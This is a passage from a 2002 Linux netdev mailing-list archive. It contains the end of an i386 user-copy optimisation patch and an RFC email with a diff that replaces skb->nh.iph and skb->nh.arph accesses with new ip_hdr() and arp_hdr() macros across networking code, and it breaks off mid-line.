2.5.39/include/asm-i386/uaccess.h~intel-user-copy Mon Sep 30 14:10:23 2002 +++ 2.5.39-akpm/include/asm-i386/uaccess.h Mon Sep 30 15:16:37 2002 @@ -33,7 +33,33 @@ #define segment_eq(a,b) ((a).seg == (b).seg) -extern int __verify_write(const void *, unsigned long); +/* + * movsl can be slow when source and dest are not both 8-byte aligned + */ +#if defined(CONFIG_M586MMX) || defined(CONFIG_M686) || \ + defined(CONFIG_MPENTIUMIII) || defined(CONFIG_MPENTIUM4) +#define INTEL_MOVSL +#endif + +#ifdef INTEL_MOVSL +static inline int movsl_is_ok(const void *a1, const void *a2, unsigned long n) +{ + if (n < 64) + return 1; + if ((((const long)a1 | (const long)a2) & 7) == 0) + return 1; + return 0; +} +unsigned long __copy_user_int(void *, const void *, unsigned long); +unsigned long __copy_user_zeroing_int(void *, const void *, unsigned long); +#else +static inline int movsl_is_ok(const void *a1, const void *a2, unsigned long n) +{ + return 1; +} +#endif + +int __verify_write(const void *, unsigned long); #define __addr_ok(addr) ((unsigned long)(addr) < (current_thread_info()->addr_limit.seg)) @@ -309,14 +335,20 @@ do { \ static inline unsigned long __generic_copy_from_user_nocheck(void *to, const void *from, unsigned long n) { - __copy_user_zeroing(to,from,n); + if (movsl_is_ok(to, from, n)) + __copy_user_zeroing(to, from, n); + else + n = __copy_user_zeroing_int(to, from, n); return n; } static inline unsigned long __generic_copy_to_user_nocheck(void *to, const void *from, unsigned long n) { - __copy_user(to,from,n); + if (movsl_is_ok(to, from, n)) + __copy_user(to, from, n); + else + n = __copy_user_int(to, from, n); return n; } @@ -578,24 +610,16 @@ __constant_copy_from_user_nocheck(void * } #define copy_to_user(to,from,n) \ - (__builtin_constant_p(n) ? \ - __constant_copy_to_user((to),(from),(n)) : \ - __generic_copy_to_user((to),(from),(n))) + __generic_copy_to_user((to),(from),(n)) #define copy_from_user(to,from,n) \ - (__builtin_constant_p(n) ? \ - __constant_copy_from_user((to),(from),(n)) : \ - __generic_copy_from_user((to),(from),(n))) + __generic_copy_from_user((to),(from),(n)) #define __copy_to_user(to,from,n) \ - (__builtin_constant_p(n) ? \ - __constant_copy_to_user_nocheck((to),(from),(n)) : \ - __generic_copy_to_user_nocheck((to),(from),(n))) + __generic_copy_to_user_nocheck((to),(from),(n)) #define __copy_from_user(to,from,n) \ - (__builtin_constant_p(n) ? \ - __constant_copy_from_user_nocheck((to),(from),(n)) : \ - __generic_copy_from_user_nocheck((to),(from),(n))) + __generic_copy_from_user_nocheck((to),(from),(n)) long strncpy_from_user(char *dst, const char *src, long count); long __strncpy_from_user(char *dst, const char *src, long count); --- 2.5.39/arch/i386/kernel/i386_ksyms.c~intel-user-copy Mon Sep 30 14:55:22 2002 +++ 2.5.39-akpm/arch/i386/kernel/i386_ksyms.c Mon Sep 30 15:11:13 2002 @@ -111,6 +111,10 @@ EXPORT_SYMBOL(__clear_user); EXPORT_SYMBOL(__generic_copy_from_user); EXPORT_SYMBOL(__generic_copy_to_user); EXPORT_SYMBOL(strnlen_user); +#ifdef INTEL_MOVSL +EXPORT_SYMBOL(__copy_user_int); +EXPORT_SYMBOL(__copy_user_zeroing_int); +#endif EXPORT_SYMBOL(pci_alloc_consistent); EXPORT_SYMBOL(pci_free_consistent); . From acme@conectiva.com.br Mon Sep 30 15:54:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 15:54:16 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UMs5tG010701 for ; Mon, 30 Sep 2002 15:54:06 -0700 Received: from [200.181.170.125] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 17w9SF-00026Y-00; Mon, 30 Sep 2002 19:55:55 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id EA3F71966C; Mon, 30 Sep 2002 19:53:56 -0300 (BRT) Date: Mon, 30 Sep 2002 19:53:56 -0300 From: Arnaldo Carvalho de Melo To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: RFC: cleaning up struct sk_buff before halloween Message-ID: <20020930225356.GC15297@conectiva.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-Url: http://advogato.org/person/acme X-archive-position: 440 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Hi, Please take a look at the patch below and tell me what are you thoughts about it. The idea is similar to what I did with struct sock, i.e., get rid of protocol specific stuff in generic networking data structures. This is already how LLC and IPX works. The patch only deals with skb->nh.{arph,iph}, and it is surprisingly small due to the fact that most of the code already did: struct iphdr *iph = skb->nh.iph; so I only had to replace with: struct iphdr *iph = ip_hdr(skb); When everything would be finished, skb->nh would stop being a union and become a void pointer. It'd be smaller if I had resisted the itch to do a s/__constant_htons/htons/g where __constant_ is not needed 8) If you think that this is something doable for 2.6, I'll break the changeset into smaller chunks, per subsystem, etc. I understand that with the ongoing USAGI merge this could cause some clashes, but I don't think it would be that much of a problem, as most of the places, as I stated above, already use iph-> style access, so the hunks are rather localized. Now off to a party celebrating the birth of a close friend first daughter :-) Best Regards, - Arnaldo ===== drivers/net/8139cp.c 1.33 vs edited ===== --- 1.33/drivers/net/8139cp.c Mon Sep 30 03:09:02 2002 +++ edited/drivers/net/8139cp.c Mon Sep 30 19:22:22 2002 @@ -792,7 +792,7 @@ #ifdef CP_TX_CHECKSUM if (skb->ip_summed == CHECKSUM_HW) { - const struct iphdr *ip = skb->nh.iph; + const struct iphdr *ip = ip_hdr(skb); if (ip->protocol == IPPROTO_TCP) txd->opts1 = cpu_to_le32(eor | len | DescOwn | FirstFrag | LastFrag | @@ -819,7 +819,7 @@ dma_addr_t first_mapping; int frag, first_entry = entry; #ifdef CP_TX_CHECKSUM - const struct iphdr *ip = skb->nh.iph; + const struct iphdr *ip = ip_hdr(skb); #endif /* We must give this initial chunk to the device last. ===== drivers/net/loopback.c 1.7 vs edited ===== --- 1.7/drivers/net/loopback.c Thu Aug 29 05:51:36 2002 +++ edited/drivers/net/loopback.c Mon Sep 30 19:22:22 2002 @@ -65,7 +65,7 @@ static void emulate_large_send_offload(struct sk_buff *skb) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct tcphdr *th = (struct tcphdr*)(skb->nh.raw + (iph->ihl * 4)); unsigned int doffset = (iph->ihl + th->doff) * 4; unsigned int mtu = skb_shinfo(skb)->tso_size + doffset; @@ -82,7 +82,7 @@ skb_reserve(nskb, 32); nskb->mac.raw = nskb->data - 14; nskb->nh.raw = nskb->data; - iph = nskb->nh.iph; + iph = ip_hdr(nskb); memcpy(nskb->data, skb->nh.raw, doffset); if (skb_copy_bits(skb, doffset + offset, @@ -148,7 +148,7 @@ #endif if (skb_shinfo(skb)->tso_size) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); if (skb->protocol != htons(ETH_P_IP)) BUG(); ===== drivers/net/ns83820.c 1.15 vs edited ===== --- 1.15/drivers/net/ns83820.c Fri Aug 30 22:32:17 2002 +++ edited/drivers/net/ns83820.c Mon Sep 30 19:22:22 2002 @@ -1039,9 +1039,9 @@ extsts = 0; if (skb->ip_summed == CHECKSUM_HW) { extsts |= EXTSTS_IPPKT; - if (IPPROTO_TCP == skb->nh.iph->protocol) + if (IPPROTO_TCP == ip_hdr(skb)->protocol) extsts |= EXTSTS_TCPPKT; - else if (IPPROTO_UDP == skb->nh.iph->protocol) + else if (IPPROTO_UDP == ip_hdr(skb)->protocol) extsts |= EXTSTS_UDPPKT; } ===== drivers/net/e100/e100_main.c 1.25 vs edited ===== --- 1.25/drivers/net/e100/e100_main.c Thu Sep 19 20:58:59 2002 +++ edited/drivers/net/e100/e100_main.c Mon Sep 30 19:22:22 2002 @@ -2244,7 +2244,7 @@ tcb->tcb_skb = skb; if (skb->ip_summed == CHECKSUM_HW) { - const struct iphdr *ip = skb->nh.iph; + const struct iphdr *ip = ip_hdr(skb); if ((ip->protocol == IPPROTO_TCP) || (ip->protocol == IPPROTO_UDP)) { ===== drivers/net/e1000/e1000_main.c 1.31 vs edited ===== --- 1.31/drivers/net/e1000/e1000_main.c Thu Aug 29 07:37:43 2002 +++ edited/drivers/net/e1000/e1000_main.c Mon Sep 30 19:22:22 2002 @@ -1303,17 +1303,16 @@ uint16_t ipcse, tucse, mss; if(skb_shinfo(skb)->tso_size) { + struct iphdr *iph = ip_hdr(skb); + hdr_len = ((skb->h.raw - skb->data) + (skb->h.th->doff << 2)); mss = skb_shinfo(skb)->tso_size; - skb->nh.iph->tot_len = 0; - skb->nh.iph->check = 0; - skb->h.th->check = ~csum_tcpudp_magic(skb->nh.iph->saddr, - skb->nh.iph->daddr, - 0, - IPPROTO_TCP, - 0); + iph->tot_len = 0; + iph->check = 0; + skb->h.th->check = ~csum_tcpudp_magic(iph->saddr, iph->daddr, + 0, IPPROTO_TCP, 0); ipcss = skb->nh.raw - skb->data; - ipcso = (void *)&(skb->nh.iph->check) - (void *)skb->data; + ipcso = (void *)&(iph->check) - (void *)skb->data; ipcse = skb->h.raw - skb->data - 1; tucss = skb->h.raw - skb->data; tucso = (void *)&(skb->h.th->check) - (void *)skb->data; ===== include/linux/if_arp.h 1.8 vs edited ===== --- 1.8/include/linux/if_arp.h Tue Feb 5 13:23:43 2002 +++ edited/include/linux/if_arp.h Mon Sep 30 19:35:34 2002 @@ -145,4 +145,6 @@ }; +#define arp_hdr(skb) ((struct arphdr *)(skb)->nh.raw) + #endif /* _LINUX_IF_ARP_H */ ===== include/linux/ip.h 1.3 vs edited ===== --- 1.3/include/linux/ip.h Mon Mar 11 10:46:43 2002 +++ edited/include/linux/ip.h Mon Sep 30 19:36:07 2002 @@ -176,4 +176,6 @@ /*The options start here. */ }; +#define ip_hdr(skb) ((struct iphdr *)(skb)->nh.raw) + #endif /* _LINUX_IP_H */ ===== include/linux/skbuff.h 1.14 vs edited ===== --- 1.14/include/linux/skbuff.h Thu Aug 29 05:51:36 2002 +++ edited/include/linux/skbuff.h Mon Sep 30 19:34:59 2002 @@ -189,9 +189,7 @@ } h; union { - struct iphdr *iph; struct ipv6hdr *ipv6h; - struct arphdr *arph; unsigned char *raw; } nh; ===== net/atm/mpc.c 1.5 vs edited ===== --- 1.5/net/atm/mpc.c Fri Jul 19 03:16:19 2002 +++ edited/net/atm/mpc.c Mon Sep 30 19:22:22 2002 @@ -726,7 +726,7 @@ new_skb->protocol = eth_type_trans(new_skb, dev); new_skb->nh.raw = new_skb->data; - eg->latest_ip_addr = new_skb->nh.iph->saddr; + eg->latest_ip_addr = ip_hdr(new_skb)->saddr; eg->packets_rcvd++; mpc->eg_ops->put(eg); ===== net/bridge/netfilter/ebt_log.c 1.1 vs edited ===== --- 1.1/net/bridge/netfilter/ebt_log.c Mon Sep 16 20:11:27 2002 +++ edited/net/bridge/netfilter/ebt_log.c Mon Sep 30 19:41:29 2002 @@ -60,16 +60,16 @@ if ((info->bitmask & EBT_LOG_IP) && skb->mac.ethernet->h_proto == htons(ETH_P_IP)){ - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); printk(" IP SRC=%u.%u.%u.%u IP DST=%u.%u.%u.%u,", NIPQUAD(iph->saddr), NIPQUAD(iph->daddr)); printk(" IP tos=0x%02X, IP proto=%d", iph->tos, iph->protocol); } if ((info->bitmask & EBT_LOG_ARP) && - ((skb->mac.ethernet->h_proto == __constant_htons(ETH_P_ARP)) || - (skb->mac.ethernet->h_proto == __constant_htons(ETH_P_RARP)))) { - struct arphdr * arph = skb->nh.arph; + ((skb->mac.ethernet->h_proto == htons(ETH_P_ARP)) || + (skb->mac.ethernet->h_proto == htons(ETH_P_RARP)))) { + struct arphdr *arph = arp_hdr(skb); printk(" ARP HTYPE=%d, PTYPE=0x%04x, OPCODE=%d", ntohs(arph->ar_hrd), ntohs(arph->ar_pro), ntohs(arph->ar_op)); ===== net/core/netfilter.c 1.7 vs edited ===== --- 1.7/net/core/netfilter.c Wed May 1 06:23:51 2002 +++ edited/net/core/netfilter.c Mon Sep 30 19:22:22 2002 @@ -178,7 +178,7 @@ skb->len); switch (pf) { case PF_INET: { - const struct iphdr *ip = skb->nh.iph; + const struct iphdr *ip = ip_hdr(skb); __u32 *opt = (__u32 *) (ip + 1); int opti; __u16 src_port = 0, dst_port = 0; @@ -561,7 +561,7 @@ /* route_me_harder function, used by iptable_nat, iptable_mangle + ip_queue */ int ip_route_me_harder(struct sk_buff **pskb) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct rtable *rt; struct rt_key key = { dst:iph->daddr, src:iph->saddr, ===== net/econet/af_econet.c 1.9 vs edited ===== --- 1.9/net/econet/af_econet.c Wed Aug 28 10:42:25 2002 +++ edited/net/econet/af_econet.c Mon Sep 30 19:22:22 2002 @@ -817,7 +817,7 @@ static void aun_incoming(struct sk_buff *skb, struct aunhdr *ah, size_t len) { - struct iphdr *ip = skb->nh.iph; + struct iphdr *ip = ip_hdr(skb); unsigned char stn = ntohl(ip->saddr) & 0xff; struct sock *sk; struct sk_buff *newskb; @@ -915,7 +915,7 @@ data = skb->h.raw + sizeof(struct udphdr); ah = (struct aunhdr *)data; len = skb->len - sizeof(struct udphdr); - ip = skb->nh.iph; + ip = ip_hdr(skb); switch (ah->code) { ===== net/ipv4/arp.c 1.10 vs edited ===== --- 1.10/net/ipv4/arp.c Fri Jul 19 03:16:19 2002 +++ edited/net/ipv4/arp.c Mon Sep 30 19:22:22 2002 @@ -322,8 +322,8 @@ u32 target = *(u32*)neigh->primary_key; int probes = atomic_read(&neigh->probes); - if (skb && inet_addr_type(skb->nh.iph->saddr) == RTN_LOCAL) - saddr = skb->nh.iph->saddr; + if (skb && inet_addr_type(ip_hdr(skb)->saddr) == RTN_LOCAL) + saddr = ip_hdr(skb)->saddr; else saddr = inet_select_addr(dev, target, RT_SCOPE_LINK); @@ -624,7 +624,7 @@ if (in_dev == NULL) goto out; - arp = skb->nh.arph; + arp = arp_hdr(skb); arp_ptr= (unsigned char *)(arp+1); switch (dev_type) { @@ -823,7 +823,7 @@ int arp_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt) { - struct arphdr *arp = skb->nh.arph; + struct arphdr *arp = arp_hdr(skb); if (arp->ar_hln != dev->addr_len || dev->flags & IFF_NOARP || ===== net/ipv4/icmp.c 1.18 vs edited ===== --- 1.18/net/ipv4/icmp.c Fri Jul 19 03:16:19 2002 +++ edited/net/ipv4/icmp.c Mon Sep 30 19:22:22 2002 @@ -409,7 +409,7 @@ icmp_param->csum = 0; icmp_out_count(icmp_param->data.icmph.type); - inet->tos = skb->nh.iph->tos; + inet->tos = ip_hdr(skb)->tos; inet->ttl = sysctl_ip_default_ttl; daddr = ipc.addr = rt->rt_src; ipc.opt = NULL; @@ -419,7 +419,7 @@ daddr = icmp_param->replyopts.faddr; } if (ip_route_output(&rt, daddr, rt->rt_spec_dst, - RT_TOS(skb->nh.iph->tos), 0)) + RT_TOS(ip_hdr(skb)->tos), 0)) goto out_unlock; if (icmpv4_xrlim_allow(rt, icmp_param->data.icmph.type, icmp_param->data.icmph.code)) { @@ -463,7 +463,7 @@ * Check this, icmp_send is called from the most obscure devices * sometimes. */ - iph = skb_in->nh.iph; + iph = ip_hdr(skb_in); if ((u8 *)iph < skb_in->head || (u8 *)(iph + 1) > skb_in->tail) goto out; @@ -682,7 +682,7 @@ if (net_ratelimit()) printk(KERN_WARNING "%u.%u.%u.%u sent an invalid ICMP " "error to a broadcast.\n", - NIPQUAD(skb->nh.iph->saddr)); + NIPQUAD(ip_hdr(skb)->saddr)); goto out; } @@ -774,7 +774,7 @@ */ case ICMP_REDIR_HOST: case ICMP_REDIR_HOSTTOS: - ip_rt_redirect(skb->nh.iph->saddr, + ip_rt_redirect(ip_hdr(skb)->saddr, ip, skb->h.icmph->un.gateway, iph->saddr, iph->tos, skb->dev); break; ===== net/ipv4/igmp.c 1.7 vs edited ===== --- 1.7/net/ipv4/igmp.c Fri Aug 30 21:47:02 2002 +++ edited/net/ipv4/igmp.c Mon Sep 30 19:22:22 2002 @@ -224,7 +224,7 @@ skb_reserve(skb, (dev->hard_header_len+15)&~15); - skb->nh.iph = iph = (struct iphdr *)skb_put(skb, sizeof(struct iphdr)+4); + iph = ip_hdr(skb) = (struct iphdr *)skb_put(skb, sizeof(*iph) + 4); iph->version = 4; iph->ihl = (sizeof(struct iphdr)+4)>>2; ===== net/ipv4/ip_forward.c 1.2 vs edited ===== --- 1.2/net/ipv4/ip_forward.c Tue Feb 5 05:39:17 2002 +++ edited/net/ipv4/ip_forward.c Mon Sep 30 19:22:22 2002 @@ -92,7 +92,7 @@ * that the packet's lifetime expired. */ - iph = skb->nh.iph; + iph = ip_hdr(skb); rt = (struct rtable*)skb->dst; if (iph->ttl <= 1) @@ -120,7 +120,7 @@ /* We are about to mangle packet. Copy it! */ if (skb_cow(skb, dev2->hard_header_len)) goto drop; - iph = skb->nh.iph; + iph = ip_hdr(skb); /* Decrease ttl after skb cow done */ ip_decrease_ttl(iph); ===== net/ipv4/ip_fragment.c 1.6 vs edited ===== --- 1.6/net/ipv4/ip_fragment.c Wed May 22 15:16:37 2002 +++ edited/net/ipv4/ip_fragment.c Mon Sep 30 19:22:22 2002 @@ -377,11 +377,11 @@ if (qp->last_in & COMPLETE) goto err; - offset = ntohs(skb->nh.iph->frag_off); + offset = ntohs(ip_hdr(skb)->frag_off); flags = offset & ~IP_OFFSET; offset &= IP_OFFSET; offset <<= 3; /* offset is in 8-byte chunks */ - ihl = skb->nh.iph->ihl * 4; + ihl = ip_hdr(skb)->ihl * 4; /* Determine the position of this fragment. */ end = offset + skb->len - ihl; @@ -518,7 +518,7 @@ BUG_TRAP(FRAG_CB(head)->offset == 0); /* Allocate a new buffer for the datagram. */ - ihlen = head->nh.iph->ihl*4; + ihlen = ip_hdr(head)->ihl * 4; len = ihlen + qp->len; if(len > 65535) @@ -570,7 +570,7 @@ head->dev = dev; head->stamp = qp->stamp; - iph = head->nh.iph; + iph = ip_hdr(head); iph->frag_off = 0; iph->tot_len = htons(len); IP_INC_STATS_BH(IpReasmOKs); @@ -596,7 +596,7 @@ /* Process an incoming IP datagram fragment. */ struct sk_buff *ip_defrag(struct sk_buff *skb) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct ipq *qp; struct net_device *dev; ===== net/ipv4/ip_gre.c 1.9 vs edited ===== --- 1.9/net/ipv4/ip_gre.c Fri Jul 19 03:16:19 2002 +++ edited/net/ipv4/ip_gre.c Mon Sep 30 19:22:22 2002 @@ -538,8 +538,8 @@ { if (INET_ECN_is_ce(iph->tos)) { if (skb->protocol == __constant_htons(ETH_P_IP)) { - if (INET_ECN_is_not_ce(skb->nh.iph->tos)) - IP_ECN_set_ce(skb->nh.iph); + if (INET_ECN_is_not_ce(ip_hdr(skb)->tos)) + IP_ECN_set_ce(ip_hdr(skb)); } else if (skb->protocol == __constant_htons(ETH_P_IPV6)) { if (INET_ECN_is_not_ce(ip6_get_dsfield(skb->nh.ipv6h))) IP6_ECN_set_ce(skb->nh.ipv6h); @@ -572,7 +572,7 @@ if (!pskb_may_pull(skb, 16)) goto drop_nolock; - iph = skb->nh.iph; + iph = ip_hdr(skb); h = skb->data; flags = *(u16*)h; @@ -677,7 +677,7 @@ { struct ip_tunnel *tunnel = (struct ip_tunnel*)dev->priv; struct net_device_stats *stats = &tunnel->stat; - struct iphdr *old_iph = skb->nh.iph; + struct iphdr *old_iph = ip_hdr(skb); struct iphdr *tiph; u8 tos; u16 df; @@ -837,7 +837,7 @@ * Push down and install the IPIP header. */ - iph = skb->nh.iph; + iph = ip_hdr(skb); iph->version = 4; iph->ihl = sizeof(struct iphdr) >> 2; iph->frag_off = df; ===== net/ipv4/ip_input.c 1.6 vs edited ===== --- 1.6/net/ipv4/ip_input.c Wed Mar 20 01:12:59 2002 +++ edited/net/ipv4/ip_input.c Mon Sep 30 19:22:22 2002 @@ -156,7 +156,7 @@ int ip_call_ra_chain(struct sk_buff *skb) { struct ip_ra_chain *ra; - u8 protocol = skb->nh.iph->protocol; + u8 protocol = ip_hdr(skb)->protocol; struct sock *last = NULL; read_lock(&ip_ra_lock); @@ -169,7 +169,7 @@ if (sk && inet_sk(sk)->num == protocol && ((sk->bound_dev_if == 0) || (sk->bound_dev_if == skb->dev->ifindex))) { - if (skb->nh.iph->frag_off & htons(IP_MF|IP_OFFSET)) { + if (ip_hdr(skb)->frag_off & htons(IP_MF | IP_OFFSET)) { skb = ip_defrag(skb); if (skb == NULL) { read_unlock(&ip_ra_lock); @@ -218,7 +218,7 @@ static inline int ip_local_deliver_finish(struct sk_buff *skb) { - int ihl = skb->nh.iph->ihl*4; + int ihl = ip_hdr(skb)->ihl * 4; #ifdef CONFIG_NETFILTER_DEBUG nf_debug_ip_local_deliver(skb); @@ -238,7 +238,7 @@ { /* Note: See raw.c and net/raw.h, RAWV4_HTABLE_SIZE==MAX_INET_PROTOS */ - int protocol = skb->nh.iph->protocol; + int protocol = ip_hdr(skb)->protocol; int hash = protocol & (MAX_INET_PROTOS - 1); struct sock *raw_sk = raw_v4_htable[hash]; struct inet_protocol *ipprot; @@ -248,7 +248,7 @@ * don't care less */ if(raw_sk != NULL) - raw_sk = raw_v4_input(skb, skb->nh.iph, hash); + raw_sk = raw_v4_input(skb, ip_hdr(skb), hash); ipprot = (struct inet_protocol *) inet_protos[hash]; flag = 0; @@ -263,7 +263,8 @@ return ret; } else { - flag = ip_run_ipprot(skb, skb->nh.iph, ipprot, (raw_sk != NULL)); + flag = ip_run_ipprot(skb, ip_hdr(skb), ipprot, + (raw_sk != NULL)); } } @@ -293,7 +294,7 @@ * Reassemble IP fragments. */ - if (skb->nh.iph->frag_off & htons(IP_MF|IP_OFFSET)) { + if (ip_hdr(skb)->frag_off & htons(IP_MF | IP_OFFSET)) { skb = ip_defrag(skb); if (!skb) return 0; @@ -306,7 +307,7 @@ static inline int ip_rcv_finish(struct sk_buff *skb) { struct net_device *dev = skb->dev; - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); /* * Initialise the virtual path cache for the packet. It describes @@ -341,7 +342,7 @@ if (skb_cow(skb, skb_headroom(skb))) goto drop; - iph = skb->nh.iph; + iph = ip_hdr(skb); if (ip_options_compile(NULL, skb)) goto inhdr_error; @@ -394,7 +395,7 @@ if (!pskb_may_pull(skb, sizeof(struct iphdr))) goto inhdr_error; - iph = skb->nh.iph; + iph = ip_hdr(skb); /* * RFC1122: 3.1.2.2 MUST silently discard any IP frame that fails the checksum. @@ -413,7 +414,7 @@ if (!pskb_may_pull(skb, iph->ihl*4)) goto inhdr_error; - iph = skb->nh.iph; + iph = ip_hdr(skb); if (ip_fast_csum((u8 *)iph, iph->ihl) != 0) goto inhdr_error; ===== net/ipv4/ip_nat_dumb.c 1.2 vs edited ===== --- 1.2/net/ipv4/ip_nat_dumb.c Tue Feb 5 05:39:17 2002 +++ edited/net/ipv4/ip_nat_dumb.c Mon Sep 30 19:22:22 2002 @@ -47,7 +47,7 @@ ip_do_nat(struct sk_buff *skb) { struct rtable *rt = (struct rtable*)skb->dst; - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); u32 odaddr = iph->daddr; u32 osaddr = iph->saddr; u16 check; ===== net/ipv4/ip_options.c 1.3 vs edited ===== --- 1.3/net/ipv4/ip_options.c Fri Sep 13 19:47:24 2002 +++ edited/net/ipv4/ip_options.c Mon Sep 30 19:22:22 2002 @@ -106,7 +106,7 @@ if (skb->dst) daddr = ((struct rtable*)skb->dst)->rt_spec_dst; else - daddr = skb->nh.iph->daddr; + daddr = ip_hdr(skb)->daddr; if (sopt->rr) { optlen = sptr[sopt->rr+1]; @@ -176,7 +176,7 @@ /* * RFC1812 requires to fix illegal source routes. */ - if (memcmp(&skb->nh.iph->saddr, &start[soffset+3], 4) == 0) + if (!memcmp(&ip_hdr(skb)->saddr, &start[soffset + 3], 4)) doffset -= 4; } if (doffset > 3) { @@ -259,7 +259,7 @@ optptr = iph + sizeof(struct iphdr); opt->is_data = 0; } else { - optptr = opt->is_data ? opt->__data : (unsigned char*)&(skb->nh.iph[1]); + optptr = opt->is_data ? opt->__data : (unsigned char*)&(ip_hdr(skb)[1]); iph = optptr - sizeof(struct iphdr); } @@ -547,7 +547,7 @@ if (srrptr + 3 <= srrspace) { opt->is_changed = 1; ip_rt_get_source(&optptr[srrptr-1], rt); - skb->nh.iph->daddr = rt->rt_dst; + ip_hdr(skb)->daddr = rt->rt_dst; optptr[2] = srrptr+4; } else if (net_ratelimit()) printk(KERN_CRIT "ip_forward(): Argh! Destination lost!\n"); @@ -559,7 +559,7 @@ } if (opt->is_changed) { opt->is_changed = 0; - ip_send_check(skb->nh.iph); + ip_send_check(ip_hdr(skb)); } } @@ -568,7 +568,7 @@ struct ip_options *opt = &(IPCB(skb)->opt); int srrspace, srrptr; u32 nexthop; - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); unsigned char * optptr = skb->nh.raw + opt->srr; struct rtable *rt = (struct rtable*)skb->dst; struct rtable *rt2; ===== net/ipv4/ip_output.c 1.14 vs edited ===== --- 1.14/net/ipv4/ip_output.c Thu Aug 29 05:57:05 2002 +++ edited/net/ipv4/ip_output.c Mon Sep 30 19:22:22 2002 @@ -145,7 +145,7 @@ iph->protocol = sk->protocol; iph->tot_len = htons(skb->len); ip_select_ident(iph, &rt->u.dst, sk); - skb->nh.iph = iph; + ip_hdr(skb) = iph; if (opt && opt->optlen) { iph->ihl += opt->optlen>>2; @@ -238,7 +238,7 @@ /* Multicasts with ttl 0 must not go beyond the host */ - if (skb->nh.iph->ttl == 0) { + if (!ip_hdr(skb)->ttl) { kfree_skb(skb); return 0; } @@ -284,7 +284,7 @@ struct sock *sk = skb->sk; struct rtable *rt = (struct rtable *)skb->dst; struct net_device *dev; - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); dev = rt->u.dst.dev; @@ -303,7 +303,7 @@ if (sk) skb_set_owner_w(skb2, sk); skb = skb2; - iph = skb->nh.iph; + iph = ip_hdr(skb); } if (skb->len > rt->u.dst.pmtu) { @@ -401,7 +401,7 @@ iph->protocol = sk->protocol; iph->saddr = rt->rt_src; iph->daddr = rt->rt_dst; - skb->nh.iph = iph; + ip_hdr(skb) = iph; /* Transport layer set skb->h.foo itself. */ if(opt && opt->optlen) { @@ -561,7 +561,7 @@ */ data = skb_put(skb, fraglen); - skb->nh.iph = (struct iphdr *)data; + ip_hdr(skb) = (struct iphdr *)data; /* * Only write IP header onto non-raw packets @@ -711,7 +711,7 @@ skb->priority = sk->priority; skb->dst = dst_clone(&rt->u.dst); - skb->nh.iph = iph = (struct iphdr *)skb_put(skb, length); + iph = ip_hdr(skb) = (struct iphdr *)skb_put(skb, length); if (!inet->hdrincl) { iph->version=4; @@ -781,7 +781,7 @@ * Point into the IP datagram header. */ - iph = skb->nh.iph; + iph = ip_hdr(skb); /* * Setup starting values. @@ -862,7 +862,7 @@ /* * Fill in the new header fields. */ - iph = skb2->nh.iph; + iph = ip_hdr(skb2); iph->frag_off = htons((offset >> 3)); /* ANK: dirty, but effective trick. Upgrade options only if @@ -991,7 +991,7 @@ daddr = replyopts.opt.faddr; } - if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), 0)) + if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(ip_hdr(skb)->tos), 0)) return; /* And let IP do all the hard work. @@ -1001,9 +1001,9 @@ with locally disabled BH and that sk cannot be already spinlocked. */ bh_lock_sock(sk); - inet->tos = skb->nh.iph->tos; + inet->tos = ip_hdr(skb)->tos; sk->priority = skb->priority; - sk->protocol = skb->nh.iph->protocol; + sk->protocol = ip_hdr(skb)->protocol; ip_build_xmit(sk, ip_reply_glue_bits, arg, len, &ipc, rt, MSG_DONTWAIT); bh_unlock_sock(sk); ===== net/ipv4/ip_sockglue.c 1.8 vs edited ===== --- 1.8/net/ipv4/ip_sockglue.c Mon Mar 11 10:46:43 2002 +++ edited/net/ipv4/ip_sockglue.c Mon Sep 30 19:22:22 2002 @@ -58,7 +58,7 @@ struct in_pktinfo info; struct rtable *rt = (struct rtable *)skb->dst; - info.ipi_addr.s_addr = skb->nh.iph->daddr; + info.ipi_addr.s_addr = ip_hdr(skb)->daddr; if (rt) { info.ipi_ifindex = rt->rt_iif; info.ipi_spec_dst.s_addr = rt->rt_spec_dst; @@ -72,13 +72,13 @@ static void ip_cmsg_recv_ttl(struct msghdr *msg, struct sk_buff *skb) { - int ttl = skb->nh.iph->ttl; + int ttl = ip_hdr(skb)->ttl; put_cmsg(msg, SOL_IP, IP_TTL, sizeof(int), &ttl); } static void ip_cmsg_recv_tos(struct msghdr *msg, struct sk_buff *skb) { - put_cmsg(msg, SOL_IP, IP_TOS, 1, &skb->nh.iph->tos); + put_cmsg(msg, SOL_IP, IP_TOS, 1, &ip_hdr(skb)->tos); } static void ip_cmsg_recv_opts(struct msghdr *msg, struct sk_buff *skb) @@ -86,7 +86,8 @@ if (IPCB(skb)->opt.optlen == 0) return; - put_cmsg(msg, SOL_IP, IP_RECVOPTS, IPCB(skb)->opt.optlen, skb->nh.iph+1); + put_cmsg(msg, SOL_IP, IP_RECVOPTS, IPCB(skb)->opt.optlen, + ip_hdr(skb) + 1); } @@ -276,8 +277,7 @@ if (!skb) return; - iph = (struct 